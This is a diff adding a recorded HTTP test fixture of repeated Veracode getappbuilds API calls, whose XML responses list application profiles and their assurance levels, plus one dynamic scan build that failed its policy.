+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:17:27 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:18:07 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:18:07 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:18:08 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
